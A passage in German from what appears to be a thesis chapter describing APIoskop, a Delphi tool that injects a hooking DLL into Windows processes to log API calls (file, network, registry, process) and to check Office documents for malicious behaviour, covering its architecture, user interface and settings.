53 Kapitel 4. APIoskop Dieses Kapitel ist eine genaue Beschreibung von APIoskop. Zunächst wird die Arbeitsweise von APIoskop skizziert und auf dessen Bestandteile und deren Zusammenspiel näher eingegangen. Dieses Kapitel soll dazu dienen, dass der Leser besser nachvollziehen kann, wie APIoskop die Überwachung einer Zielapplikation durchführt und an die dadurch gesammelten Daten gelangt. Im nächsten Unterkapitel befindet sich eine Übersicht aller Funktionen und Möglichkeiten, die APIoskop seinen Benutzern zur Verfügung stellt. Im Unterkapitel 4.3 folgt eine Vorstellung der Benutzeroberfläche von APIoskop. Hier werden alle wichtigen Bestandteile der Fenster und deren Benutzung erläutert. Es wird das Hauptfenster vorgestellt, je ein Fenster zur Prozessauswahl, zur Auswahl von Office- Dokumenten, ein Fenster, in welchem die Einstellungen von APIoskop geändert werden können und eines, welches dem Benutzer mitgeschnittene Datagramme präsentiert. Desweiteren wird die Ausgabeliste, in welcher die registrierten Funktionsaufrufe dargestellt werden, genauer vorgestellt Anschließend wird auf die Implementierung von APIoskop eingegangen. Zuerst werden generelle Informationen zur Implementierung geliefert, und dann werden gezielt einzelne Teile der Implementierung genauer betrachtet. Diese genauere Betrachtung beginnt mit der Interprozesskommunikation (IPC). Hier wird zuerst das Grundgerüst dieser Kommunikation erläutert. Dadurch soll der Leser die einzelnen Komponenten der IPC, welche für die Übertragung der Nachrichten von der HookLibrary zum APIoskop-Hauptprogramm notwendig sind, kennen lernen. Innerhalb dieser Nachrichten befinden sich Informationen über die registrierten Funktionsaufrufe. Diese Informationen sind stets nach einem bestimmten Format strukturiert, welches in Unterkapitel vorgestellt wird. Das nächste Unterkapitel beschäftigt sich mit einer zentralen Funktion, welche die Übertragung der Nachrichten für jede Hook-Funktion in Gang setzt. Und das letzte Unterkapitel zur IPC geht auf das Problem ein, wie APIoskop der HookLibrary die von ihr benötigten Parameter übergibt. Die Struktur der Hook-Funktionen, welche bei fast allen Funktionen sehr ähnlich ist, ist unter anderem Thema des Unterkapitels Diese Struktur wird exemplarisch an drei konkreten Hook-Funktionen vorgestellt. Zuvor geht das Unterkapitel jedoch auf den Initialisierungsabschnitt der HookLibrary ein. Dort werden die einzelnen Hooks installiert, d. h. die Hook-Funktionen werden in den Programmablauf der Zielapplikation eingehängt. Zudem wird in diesem Unterkapitel erläutert, wie APIoskop aus den Argu- 39

54 Kapitel 4. APIoskop menten der Hook-Funktionen Informationen gewinnt, welche für seine Benutzer leicht verständlich sind. Eine Auflistung aller gehookten Funktionen findet sich in Anhang A. Abgeschlossen wird dieses Kapitel von einer Beschreibung, wie die Steuerung der Office-Anwendungen realisiert wird. Diese Anwendungen werden von APIoskop immer dann angesprochen, sobald Office-Dokumente untersucht werden sollen Funktionen Normalerweise ist es so, dass ein Benutzer eines Computerprogramms nur dessen nach außen sichtbares Verhalten mitbekommt. Viele Windowsprogramme benutzen zur Durchführung ihrer Aufgaben die von Windows angebotene Schnittstelle Windows API. Aber durch welche API-Funktionen diese Programme ihre Arbeit verrichten oder welche Funktionsaufrufe stattfinden, die keine sichtbaren Auswirkungen nach sich ziehen, bleibt dem Benutzer verborgen. Speziell Malware ist in den meisten Fällen so programmiert, dass deren schadhaftes Verhalten unentdeckt bleibt. Die Hauptfunktion von APIoskop besteht darin, die innere Arbeitsweise und die Aktivitäten anderer Programme offen zu legen. Dies ist durch das Hooken verschiedener API- Funktionen realisiert. Der Leser denke zum Beispiel an ein präpariertes Word-Dokument, das beim Öffnen Microsoft Word dazu veranlasst eine Verbindung ins Internet zu erstellen und heimlich Daten zu versenden. Würde Microsoft Word während solch einer Aktivität von APIoskop überwacht, so würden diese Aktionen transparent. Vorraussetzung ist natürlich, dass Microsoft Word für diese Aktionen die von APIoskop gehookten Funktionen benutzt. Bevor der Benutzer eine Überwachung startet, muss er sich einen laufenden Prozess aussuchen. Für diese Auswahl bietet APIoskop dem Benutzer einen Auswahldialog, in dem alle momentan laufenden Prozesse aufgelistet sind. Desweiteren bietet APIoskop verschiedene Einstellmöglichkeiten, wie beispielsweise eine Auswahl, welche Funktionen gehookt werden sollen oder wie diese farblich hervorgehoben werden. In Kapitel werden diese Einstellungen näher erläutert. Nachdem der Benutzer eine Überwachung gestartet hat, werden ihm alle registrierten Funktionsaufrufe des ausgewählten Prozesses aufgelistet. Er hat die Möglichkeit, sich nur Funktionsaufrufe aus einem bestimmten Funktionsbereich anzeigen zu lassen oder die Liste der registrierten Funktionsaufrufe nach verschiedenen Kriterien zu sortieren. Damit beim Beenden von APIoskop die gelisteten Funktionsaufrufe nicht verloren gehen, kann auf Wunsch die Liste der registrierten Funktionsaufrufe gespeichert werden. Dafür stehen folgende Dateiformate zur Verfügung: als reines Textdokument, als eine HTML-Seite mit einer HTML-Tabelle oder als XML-Dokument. Wird die Ausgabe als HTML-Seite gespeichert, so werden auch die eingestellten Farben der Funktionsaufrufe in die HTML-Seite übernommen. Werden Funktionsaufrufe registriert, die ein Senden oder Empfangen von Daten bewirken, werden diese Daten von APIoskop aus dem Adressraum des überwachten Prozesses ausgelesen. Auf Wunsch können auch diese Daten abgespeichert werden. 40

55 4.2. Arbeitsweise von APIoskop Neben der Überwachung eines Programms können mit APIoskop auch Microsoft Office-Dokumente geprüft werden. Dazu wählt man in einem Auswahldialog einfach mehrere Word-Dokumente, Excel-Dateien oder PowerPoint-Präsentationen aus. Damit diese auf schädliches Verhalten hin überprüft werden können, werden die entsprechenden Office- Anwendungen von APIoskop automatisch gestartet und dann überwacht Arbeitsweise von APIoskop Wie im Kapitel bereits beschrieben, besteht eine Anwendung, welche eine Hookingtechnik einsetzt, in der Regel aus zwei Komponenten. Zum einen aus einer Bibliothek, die die Hook-Funktionen beinhaltet und in die zu überwachenden Anwendungen injiziert wird, und zum anderen aus einem Loader, dem die Aufgabe zukommt, diese Bibliothek zu injizieren und gegebenenfalls mit ihr zu kommunizieren. Auch APIoskop besteht aus diesen beiden Bestandteilen: 1. Hauptprogramm: Der erste dieser beiden Bestandteile ist das Hauptprogramm selber, welches mit der Datei APIoskop.exe gestartet wird. Das API-Hooking betreffend kommt dem Hauptprogramm die Rolle des Injektors zu. Nachdem sich der Benutzer einen Prozess ausgesucht hat, den er überwachen möchte, kann er mit Hilfe des Hauptprogramms eine Bibliothek in diesen Prozess injizieren. Zusätzlich ist das Hauptprogramm noch zum Empfangen von Nachrichten zuständig, die es von der injizierten Bibliothek zugeschickt bekommt. 2. HookLibrary: Dies ist eine Bibliothek (HookLibrary.dll) und bildet den zweiten Bestandteil des Hooksystems. Sie enthält alle Hook-Funktionen und ist dafür zuständig, dass die Hooks nach dem Laden in einen fremden Prozesskontext installiert werden. Registriert sie einen Aufruf einer gehookten Funktion, so verständigt sie das Hauptprogramm mit einer entsprechenden Nachricht und sorgt dafür, dass die aufgerufenen Funktionen ordnungsgemäß abgearbeitet werden. APIoskop 1. Prozessauswahl Zu überwachender Prozess 2. DLL injizieren 3. Kommunikation DLL mit Hook- Funktionen Abbildung 4.1.: Funktionsweise von APIoskop Abbildung 4.1 verdeutlicht die generelle Arbeitsweise von APIoskop und zeigt das Zusammenspiel seiner beiden Hauptkomponenten. Wird APIoskop gestartet, so kann sich 41

56 Kapitel 4. APIoskop der Benutzer in einem ersten Schritt einen der laufenden Prozesse aussuchen, der überwacht werden soll. Ein Prozess entspricht, grob betrachtet, einem Programm während seiner Ausführung. Entweder man nimmt noch ein paar Einstellungen vor, die später beschrieben werden, oder es wird sofort in einem zweiten Schritt die Bibliothek inklusive der Hook-Funktionen in den ausgewählten Prozess injiziert. Sofort nachdem die Bibliothek in den fremden Prozesskontext geladen wurde, wird deren Initialisierungsabschnitt ausgeführt. Dort werden die Hooks dann installiert, so dass die Funktionsaufrufe des fremden Prozesses abgefangen werden und auf die Hook-Funktionen umgeleitet werden (siehe Kapitel ). Der dritte Schritt in der Funktionsweise von APIoskop besteht aus einer Kommunikation zwischen der injizierten Bibliothek und dem Hauptprogramm. Die Hook-Funktionen sind so geschrieben, dass sie bei ihrem Aufruf das Hauptprogramm über diesen Aufruf benachrichtigen und die Funktionalität der Originalfunktion erhalten bleibt (siehe Kapitel 3.3.5) Benutzeroberfläche Um dem Benutzer das Injizieren der HookLibrary möglichst einfach zu gestalten, besitzt APIoskop eine graphische Benutzeroberfläche. Über diese kann der Benutzer einen Prozess auswählen, der überwacht werden soll. Zusätzlich stellt die Benutzeroberfläche auch die Resultate der Überwachung in Form einer Liste dar. Über das Hauptfenster von APIoskop erreicht der Benutzer auch alle weiteren Fenster von APIoskop, welche in den folgenden Unterkapiteln vorgestellt werden. In Abbildung 4.2 sieht man das Hauptfenster von APIoskop, und es sind die wichtigsten Bestandteile dessen Oberfläche markiert. 1. Ausgabeliste: Der wohl wichtigste Bestandteil von APIoskop ist die Ausgabeliste. Sobald APIoskop einen Aufruf einer gehookten API-Funktion durch das überwachende Programm registriert, werden in dieser Liste genaue Informationen über diesen Aufruf angezeigt. Jeder Eintrag der Ausgabeliste erhält eine fortlaufende Nummer. Eine detaillierte Erläuterung der Ausgabeliste erfolgt in Kapitel Prozessinformationen: Wird eine Überwachung gestartet, so werden in dieser Spalte nähere Informationen zu der Überwachung aufgelistet. Diese dienen als eine Art Logbuch. Für jede einzelne Überwachung wird hier der Name des überwachten Prozesses und seine Prozess-ID beziehungsweise der Pfad des zu prüfenden Office-Dokuments und das Datum und die Uhrzeit, zu der die HookLibrary in den Prozess injiziert wurde, angegeben. Daneben wird noch zusätzlich für jede durchgeführte Überwachung ein Zahlenbereich angezeigt. Dieser gibt Auskunft darüber, welcher Funktionseintrag der nummerierten Ausgabeliste dem jeweiligen Prozess, bzw. der entsprechenden Überwachung, zuzuordnen ist. Entscheidend ist diese Art der Zuordnung bei der automatisierten Überwachung von Office-Dokumenten, da diese jeweils in derselben Instanz ihrer Anwendung geöffnet werden und dann keine Zuordnung über die Prozess-ID möglich ist. 3. Toolbuttons: Die Toolbuttons sind dazu gedacht, dass der Benutzer die wichtigsten Funktionen von APIoskop schnell und leicht erreichen kann. Alle diese Funktionen sind aber auch über das Hauptmenü ansprechbar. Mit den ersten beiden Buttons lassen sich ein Prozess und Office-Dokumente auswählen. Die nächsten 42

57 4.3. Benutzeroberfläche Abbildung 4.2.: Hauptfenster von APIoskop drei dienen dem Starten und Stoppen der Überwachung und der letzte Button öffnet ein Fenster, über das sich APIoskop konfigurieren lässt. 4. Wahl des Funktionsbereichs: Wie in Kapitel 1.3 bereits erwähnt, überwacht APIoskop API-Funktionen aus vier Funktionsbereichen. Mit Hilfe dieser Combo- Box kann sich der Benutzer wahlweise nur die registrierten Funktionsaufrufe aus einem dieser Funktionsbereiche oder alle registrierten Funktionsaufrufe anzeigen lassen. 5. Ausgabe löschen: Dieser Button löscht die gesamte Ausgabeliste. Zusätzlich werden die Prozessinformationen zurückgesetzt. Außerdem werden die gesicherten Datenpakete gelöscht, die das zu überwachende Programm verschickt bzw. empfangen hat und während einer Überwachung aufgezeichnet worden sind. 6. Gesendete Daten speichern: Dieser Button bietet dem Benutzer eine Möglichkeit, die aus dem Netzwerkverkehr des überwachten Programms mitgeschnittenen Daten in einer Textdatei zu speichern. In dieser Datei werden am Anfang ebenfalls die Prozessinformationen gespeichert, und vor jeden Datenblock werden nähere Informationen zu der entsprechenden API-Funktion geschrieben, damit eine spätere Zuordnung der Datenblöcke in der Textdatei zu den einzelnen Funktionsaufrufen 43

58 Kapitel 4. APIoskop möglich ist. 7. Statusleiste: Die Statusleiste zeigt während der gesamten Laufzeit den ausgewählten Prozess und die Anzahl der ausgewählten Office-Dokumente an. Zu beachten ist, dass es passieren kann, dass die Statusleiste einen Prozess anzeigt, der bereits nicht mehr existiert. Dies ist immer dann der Fall, wenn ein Prozess nach seiner Auswahl beendet wurde. Wird in so einem Fall versucht, die Überwachung dieses Prozesses zu starten, so informiert APIoskop den Benutzer über diese Tatsache und aktualisiert die Statusleiste Prozessauswahl Über den ersten Button der Toolbutton-Leiste, bzw. über das Hauptmenü, gelangt der Benutzer zu einem Fenster, in dem er sich einen Prozess aussuchen kann, der von APIoskop überwacht werden soll. Dieses Fenster, welches man in Abbildung 4.3 sieht, ist zweigeteilt. Im oberen Teil des Fensters werden alle aktuell laufenden Prozesse aufgelistet. Der Benutzer markiert den gewünschten Prozess und bestätigt seine Auswahl mit dem Button OK. Alternativ kann er auch den gewünschten Prozess doppelt in der Prozessliste anklicken. Zusätzlich kann er die Liste auch mit dem Button Aktualisieren auf den neusten Stand bringen. Dies ist zum Beispiel sinnvoll, wenn nach dem Öffnen dieses Fensters ein neuer Prozess erstellt wurde. Eine Checkbox bietet die Möglichkeit, alle laufenden Prozesse anzeigen zu lassen. Ist diese Option deaktiviert, so werden nur Prozesse des aktuell in Windows angemeldeten Benutzers angezeigt. Im unteren Teil des Fensters kann der Benutzer einen Pfad zu einer Anwendung eingeben. Über den Button Starten und Überwachen wird die angegebene Anwendung, nachdem der Benutzer dies bestätigt hat, gestartet und es wird sofort mit der Überwachung begonnen. Dabei wird die HookLibrary in die Anwendung injiziert, noch bevor deren Hauptthread seinen ersten Befehl ausführt. Über den Button Durchsuchen lässt sich auch mittels einer Dialogbox eine Anwendung aussuchen, die gestartet und überwacht werden soll Ausgabeliste Bemerkt die HookLibrary einen Aufruf einer gehookten API-Funktion, so benachrichtigt sie das Hauptprogramm über diesen Aufruf. Realisiert wird dies über eine Nachricht, welche die HookLibrary aus dem überwachten Prozess heraus an den Prozess des Hauptprogramms schickt (siehe Kapitel 4.4.1). Die gesendete Nachricht enthält alle wichtigen Informationen zu dem Funktionsaufruf, welche APIoskop dann mit Hilfe der Ausgabeliste dem Benutzer präsentiert. Alle registrierten Funktionsaufrufe werden durchgehend nummeriert, so dass sie mithilfe der Prozessinformationen je einer durchgeführten Überwachung zugeordnet werden können. Ebenfalls werden zu jedem Funktionsaufruf die Uhrzeit, zu dem der Aufruf registriert wurde, die Prozess-ID des Prozesses, der die Funktion aufgerufen hat, der 44

59 4.3. Benutzeroberfläche Abbildung 4.3.: Prozessauswahl Name der Funktion und gegebenenfalls ein Kommentar in der Ausgabeliste angezeigt. Wie in Kapitel 1.3 bereits erwähnt, überwacht APIoskop Funktionen aus vier Funktionsbereichen. Dies sind Funktionen, welche zum Verwalten von Prozessen, zum Zugriff auf das Dateisystem und angeschlossene Netzwerke und zum Benutzen der Registry verwendet werden. Eine ausführliche Auflistung der gehookten Funktionen befindet sich im Anhang A. Je nach Funktionsbereich werden unterschiedliche Angaben an das Hauptprogramm geschickt und auch in der Ausgabeliste dargestellt. Tabelle 4.1 bietet eine Übersicht über die angezeigten Informationen. Dabei bedeutet ein x in der Zelle (Spalte f, Zeile i), dass die Information i für Funktionen aus dem Funktionsbereich f angezeigt wird. Dateisystem Netzwerk Registry Prozess Nr x x x x Uhrzeit x x x x PID x x x x Funktionsname x x x x Dateiname x x Hostname (IP) x Port x Bytes x Schlüsselname x Schlüsselwert x Schlüsseltyp x Ziel-PID x Kommentar x x x x Tabelle 4.1.: Informationen in der Ausgabeliste 45

60 Kapitel 4. APIoskop Viele dieser angezeigten Informationen sind selbsterklärend, wie zum Beispiel der Eintrag Nr oder der Funktionsname. Jedoch bedarf es bei einigen von ihnen noch einer kurzen Anmerkung. Der Eintrag Uhrzeit beinhaltet die genaue Uhrzeit, zu der die entsprechende API- Funktion aufgerufen wurde. Da Computer immer schneller werden und Programme sehr viele Funktionen pro Sekunde aufrufen können, wird die Uhrzeit auf eine Zehntel Millisekunde genau gemessen, um überhaupt noch einen Unterschied für diesen Eintrag zu erkennen. Es kann in seltenen Fällen auch durchaus vorkommen, dass ein neuer Eintrag in der Ausgabeliste eine frühere Uhrzeit aufweist als ein älterer Eintrag. Dies passiert immer dann, wenn eine Funktion A intern eine Funktion B aufruft, welche beide gehookt sind, und die Benachrichtigung über den Aufruf von A erst gesendet werden kann, wenn die Funktion B komplett abgearbeitet wurde. Der Eintrag PID enthält die Prozess-ID des Prozesses, der den Funktionsaufruf ausgelöst hat. Dieser Eintrag ist nötig, da neben dem ausgewählten Prozess auch automatisch alle seine erzeugten Kindprozesse überwacht werden. Die Spalte Bytes enthält für registrierte Funktionsaufrufe aus dem Bereich der Netzwerkfunktionen die Menge der gesendeten oder empfangenen Daten. Wird ein Funktionsaufruf, der erfolgreich ist, in dem Sinne, dass wirklich Daten befördert wurden und keine Fehler vorliegen, registriert, so enthält dieser Eintrag in der Spalte Bytes einen Wert größer oder gleich Null. APIoskop bietet dem Benutzer die Möglichkeit, diese Daten einzusehen. Um sich die gesendeten oder empfangenen Daten anzuschauen, muss der Benutzer lediglich auf einen Eintrag in der Ausgabeliste doppelklicken, der in dieser Spalte einen Wert größer als Null aufweist. Für Funktionen, die entweder für den Zugriff auf das Dateisystem oder für das Verwalten von Prozessen zuständig sind, ist der Eintrag Dateiname relevant. Bei ersteren Funktionen gibt dieser Eintrag die Datei an, welche von der aufgerufenen Funktion betroffen ist. Wird beispielsweise ein Aufruf der API-Funktion ReadFile registriert, so enthält der Eintrag Dateiname den Namen der Datei, aus welcher etwas gelesen werden soll. Im Falle einer Funktion aus dem Bereich der Prozessverwaltung enthält dieser Eintrag den Dateinamen der Datei, über welche der betroffene Prozess gestartet wird. Ruft das überwachte Programm zum Beispiel die Funktion TerminateProcess auf, um eine Instanz des Windows Editors zu schließen, so wird in diesem Eintrag notepad.exe angezeigt (diese Datei startet den Windows Editor). Der Eintrag Ziel-PID ist ebenfalls für Funktionen aus dem Bereich der Prozessverwaltung interessant. Dieser beinhaltet die Prozess-ID des Prozesses, der Gegenstand der aufgerufenen Funktion ist. Bei dem zweiten Beispiel aus dem vorherigen Absatz würde in diesem Eintrag die Prozess-ID der Instanz des Windows Editors stehen, die durch den Aufruf von TerminateProcess beendet werden soll. Bei einigen Funktionen ist manchmal ein ergänzender Kommentar zu den Aufrufen notwendig. So lassen sich zum Beispiel mit der Funktion OpenFile nicht nur, wie der Funktionsname vermuten lässt, Dateien öffnen, sondern mit den entprechenden Argumenten auch löschen. Eine genaue Übersicht über die möglichen Kommentare und deren Bedeutung ist im Anhang B zu finden. 46

61 4.3. Benutzeroberfläche Mit Hilfe einer Combo-Box (siehe Bedienelement vier in der Abbildung 4.2) kann der Benutzer entscheiden, welche Funktionsaufrufe er in der Ausgabeliste angezeigt bekommen möchte. Es besteht die Möglichkeit, sich nur registrierte Funktionsaufrufe aus einem der vier Funktionsbereiche anzeigen zu lassen oder eben jeden Funktionsaufruf aus allen vier Funktionsbereichen. Stellt er nur einen Funktionsbereich ein, so werden nicht nur die registrierten Aufrufe aus den anderen Funktionsbereichen ausgeblendet, sondern auch alle Spalten der Ausgabeliste, die nicht für den ausgewählten Funktionsbereich relevant sind (siehe Tabelle 4.1). Die Spalten der Ausgabeliste sind per Drag and Drop verschiebbar. Der Benutzer kann die Reihenfolge der Spalten nach seinen Wünschen beliebig ändern. Dazu muss man einfach nur eine Spalte anklicken und sie mit der gedrückten Maustaste an die gewünschte Stelle befördern. So kann jeder Benutzer selbst entscheiden, welche Informationen er in der Ausgabeliste nebeneinander stehen haben möchte. Desweiteren ist die Breite jeder einzelnen Spalte änderbar. Ist ein Eintrag einer Zelle der Ausgabeliste zu breit, erkennt man dies an den drei Abkürzungspunkten am Ende des Eintrags. In solchen Fällen kann die Spaltenbreite angepasst werden, um den kompletten Eintrag sichtbar zu machen. Dazu muss man einfach mit der Maus die jeweilige Spalte in der Überschriftenzeile (das ist die allererste Zeile) der Ausgabeliste breiter ziehen. Oft interessiert man sich beispielsweise auch für alle registrierten Aufrufe einer bestimmten Funktion. Um nicht ständig durch die Ausgabeliste zu scrollen und jeden einzelnen Eintrag der Liste daraufhin zu untersuchen, ob dieser durch die gesuchte Funktion entstanden ist, kann man die Liste nach jeder beliebigen Spalte entweder aufsteigend oder absteigend sortieren lassen. Dazu klickt man auf den entsprechenden Spaltenkopf in der Überschriftenzeile. Daraufhin wird die gesamte Ausgabeliste nach dieser Spalte sortiert. Ein weiterer Klick auf denselben Spaltenkopf dreht die Sortierreihenfolge um. Hier sei erwähnt, dass die Sortierreihenfolge der Funktionsnamen nicht alphabetisch erfolgt, sondern sich nach einer intern verwendeten Nummer richtet, die jeweils eine der gehookten Funktionen repräsentiert. Die Reihenfolge, nach der die Funktionen in der Ausgabeliste sortiert werden, entspricht der Reihenfolge der Funktionen wie sie im Anhang A vorzufinden ist. Dessen ungeachtet erscheinen beim Sortieren nach Funktionsnamen die Funktionen desselben Typs untereinander Datenansicht Klickt der Benutzer doppelt auf einen Eintrag in der Ausgabeliste, welcher durch einen Aufruf einer Netzwerkfunktion entstanden ist, die Daten empfangen oder gesendet hat, so bekommt er in einem neuen Fenster eine Sicht auf diese Daten präsentiert. Dieses Fenster ist in Abbildung 4.4 im Vordergrund zu sehen. Zur besseren Übersichtlichkeit wurde dieses in der Abbildung ein wenig zusammengestaucht. Veranschaulicht werden die mitgeschnittenen Daten, wie es in einem Hex-Editor normalerweise üblich ist. Der Inhalt dieses Fensters lässt sich in drei Abschnitte unterteilen. In der linken Spalte, welche unten in der Abbildung mit der Nummer Eins gekennzeichnet ist, steht ein Offset in Hexadezimalschreibweise. Dieser gibt für jede Zeile an, wie viele der mitgeschnittenen Bytes sich oberhalb dieser Zeile befinden. 47

62 Kapitel 4. APIoskop Abbildung 4.4.: Datenansicht In dem mittleren Abschnitt des Fensters, markiert durch die Nummer zwei, befinden sich die eigentlichen Daten, welche von der Zielapplikation gesendet oder empfangen wurden. Dieser Abschnitt bietet eine hexadezimale Ansicht der Daten. Jede Zeile besteht in diesem Abschnitt aus vier Viererblöcken, um eine bessere Übersicht zu gewährleisten. Der letzte Abschnitt zeigt für jede Zeile nochmals dieselben Daten wie der vorangegangene Abschnitt an. In der Abbildung ist er durch die kennzeichnende Drei zu erkennen. Der Unterschied zum zweiten Abschnitt besteht darin, dass in dieser Spalte die Bytes der Daten als ASCII interpretiert werden. Zu beachten ist, dass nicht alle Bytes als druckbare ASCII-Zeichen zu interpretieren sind. Falls dies nicht so ist, wird an der entsprechenden Position das Zeichen. (Punkt) eingefügt. Dies kann beispielsweise passieren, wenn die Zielapplikation Binärdaten, etwa eine Bilddatei, empfängt oder sendet Einstellungen Die Einstellungen, die APIoskop für die Überwachung und die Anzeige der Funktionsaufrufe benutzt, lassen sich über ein Fenster ändern, welches in der Abbildung 4.5 zu sehen ist. Zu erreichen ist es über den letzten Button der Toolbutton-Leiste oder auch über das Hauptmenü. Allerdings lassen sich die Einstellungen von APIoskop nur ändern, sofern aktuell keine Überwachung läuft. Dies hat einen technischen Grund und wird in Kapitel erklärt. 48

63 4.3. Benutzeroberfläche Abbildung 4.5.: Einstellungsfenster Auf der linken Seite des Fensters befindet sich eine Spalte, in der man auswählen kann, welche Einstellungen man verändern möchte. Zum einen hat man einen Eintrag für jeden Funktionsbereich und zum anderen einen Eintrag Sonstiges. Wählt man einen Funktionsbereich an, so erscheint auf der rechten Seite des Einstellungsfensters eine Liste aller Funktionen, die von APIoskop in diesem Funktionsbereich überwacht werden können. Vor jeder dieser Funktionen befindet sich eine Checkbox. Ist diese markiert (erkennbar an einem Haken), so wird die entsprechende Funktion mit in die Überwachung einbezogen. Andernfalls wird deren Aufruf durch APIoskop nicht registriert. Zusätzlich existieren auf jedem Reiter eines Funktionsbereiches noch zwei Buttons, mit denen alle Funktion dieses Funktionsbereiches an- oder abgewählt werden können, und ein Button, der die aktuelle Selektion invertiert. Außerdem befindet sich hinter jedem Funktionsnamen eine farbige Box. Um Funktionsaufrufe einer Funktion farblich in der Ausgabeliste hervorzuheben, kann man über diese Box die gewünschte Farbe dafür auswählen. Dazu muss diese Box lediglich angeklickt werden, woraufhin sich ein Farbauswahldialog öffnet. In der Einstellungssituation wie sie sich in Abbildung 4.5 darstellt, werden beispielsweise alle Dateisystemfunktionen, außer den lesenden und öffnenden Funktionen, überwacht, und Funktionen, die eine Datei löschen, werden rot in der Ausgabeliste hervorgehoben. Wählt man in der linken Auswahlspalte den Eintrag Sonstiges an, so bekommt man alle Einstellungsmöglichkeiten präsentiert, die nicht einen speziellen Funktionsbereich betreffen. Die Option Folgeaufrufe mitprotokollieren legt fest, ob alle Funktionsaufrufe einer Aufrufkette (siehe Kapitel 3.2.2) in der Ausgabeliste erscheinen sollen. Ist diese Option deaktiviert, so werden lediglich die Funktionsaufrufe protokolliert, die tatsächlich im Code des überwachten Prozesses stattfinden und zur Überwachung ausgewählt sind. Ist diese Option jedoch aktiviert, werden alle Funktionsaufrufe einer Aufrufkette protokolliert. Dazu zählen auch die Funktionsaufrufe, die nicht direkt im Quellcode des überwachten Programms auftreten, sondern in den API-Funktionen selber. Sind die 49

64 Kapitel 4. APIoskop Funktionen, die in einer Aufrufkette vorkommen, jedoch nicht zur Überwachung ausgewählt, so werden sie auch nicht von APIoskop registriert. Außerdem lassen sich auf dem Reiter Sonstiges die Prioritäten zweier Threads einstellen. Zum einen ist dies der Queue-Thread, der Benachrichtigungen der HookLibrary aus einer Queue in die Ausgabeliste einträgt, und zum anderen der MMF-Thread, der dafür sorgt, dass die Benachrichtigungen aus einem Memory Mapped File in die Queue übertragen werden. Weitere Details zu diesen beiden Threads finden sich im Kapitel Über die Buttons laden... und speichern... besteht die Möglichkeit, die vorgenommenen Einstellungen zu speichern und zu einem späteren Zeitpunkt wiederherzustellen. Auf diese Weise kann man für verschiedene Programme bequem Einstellungen dauerhaft auf einem Datenträger speichern, so dass man diese Einstellungen nicht bei jedem Start einer Überwachung wieder einzeln vornehmen muss. Die hier abgespeicherten Einstellungen lassen sich auch in dem Fenster zur Auswahl von Office-Dokumenten laden. Die Einstellungen werden in einem Textformat mit der Dateiendung.aop (APIoskop Optionen) abgespeichert. Eine Sonderstellung kommt der Sicherungsdatei mit dem Namen Default.aop zu: Beim Programmstart von APIoskop wird diese Datei im selben Verzeichnis, in dem sich auch die Startdatei von APIoskop befindet, gesucht. Wird sie gefunden, so werden die in dieser Datei gespeicherten Einstellungen beim Programmstart übernommen Auswahl von Office-Dokumenten Wie bereits in Kapitel 4.1 erwähnt, lässt sich mit APIoskop auch automatisch überprüfen, ob Office-Dokumente schadhaften Code enthalten. Zum Auswählen dieser Dokumente steht ein Auswahldialog bereit, der in Abbildung 4.6 dargstellt ist. Zu erreichen ist dieser Dialog über den zweiten Button (MS Office-Dokumente auswählen...) der Toolbutton- Leiste und über das Hauptmenü. Das Fenster des Dialogs enthält im oberen Bereich eine Liste, in der alle zu überprüfenden Dokumente mit ihrem vollständigen Pfad eingetragen sind. Über den Button Hinzufügen lassen sich der Liste weitere Dokumente hinzufügen, und über den Button Entfernen, wird das in der Liste aktuell markierte Dokument aus der Liste gelöscht. Nach jedem Hinzufügen wird die Liste neu angeordnet, so dass Dokumente desselben Typs untereinander stehen. Dies geschieht aus performanztechnischen Gründen, da die dargestellte Reihenfolge auch die ist, in der die Dokumente später in ihren jeweiligen Anwendungen geöffnet werden. Mit dem Button Optionen laden hat der Benutzer die Möglichkeit, vorher abgespeicherte Konfigurationen zu laden. So kann er bequem die Einstellungen festlegen, die APIoskop bei der Überwachung der Dokumente benutzen soll, ohne dies umständlich über das Einstellungsfenster zu erledigen. Damit nicht bestimmte Einstellungen mit bestimmten Dokumententypen verbunden sind, wurde auf eine feste Zuweisung der Einstellungen pro Dokumententyp verzichtet. Sobald Einstellungen in diesem Auswahldialog geladen werden, gelten diese für alle späteren Überwachungen, also auch für spätere Überwachungen eines einzelnen Prozesses. Möchte man in diesem Fall andere Einstellungen verwenden, so müssen diese wieder geladen oder manuell geändert werden. 50

65 4.4. Implementierung Abbildung 4.6.: Dialog zum Auswählen von Office-Dokumenten Das einzustellende Zeitintervall legt fest, wie viele Sekunden zwischen dem Öffnen der zu überprüfenden Dokumente vergehen sollen. Diese Zeit entspricht der Dauer einer einzelnen Überwachung. Gemessen wird sie zu den Zeitpunkten, an denen die Dokumente in ihren jeweiligen Anwendungen geöffnet werden, also nicht erst nach dem vollständigen Laden der Dokumente. Aus diesem Grund ist es auch sinnvoll, hier keinen zu kleinen Wert einzustellen, da es ansonsten passieren kann, dass bereits ein neues Dokument überwacht wird, obwohl ein großes Dokument davor noch nicht vollständig von seiner Anwendung geladen wurde. Außerdem lassen sich die Prozessnamen der drei betroffenen Office-Anwendungen angeben. Diese werden benötigt, damit APIoskop weiß, in welche Prozesse die HookLibrary injiziert werden muss. Diese Information ist variabel gehalten, da nicht bekannt ist, wie Microsoft in Zukunft die Startdateien beziehungsweise die Prozessnamen der Office-Anwendungen benennt Implementierung APIoskop wurde in der Programmiersprache Delphi geschrieben, und als Entwicklungsumgebung diente das Borland Developer Studio Die Wahl der Programmiersprache wurde nicht durch die Aufgabenstellung beeinflusst. Vielmehr ist die Entscheidung für Delphi alleine vor dem Hintergrund persönlicher Vorlieben getroffen worden. Ein Problem, das sich bei der Konstellation aus Delphi und dem API-Hooking ergibt, ist, dass die gesamten Interfaces der Windows API-Funktionen nur in der Programmiersprache C/C++ zur Verfügung stehen, so dass diese nicht in einer anderen Programmiersprache benutzt werden können. Gelöst wurde dies durch die JEDI-API-Konvertierungen [vb]. Durch diese hat man eine Konvertierung der Header-Files des Windows-Platform-SDKs 51

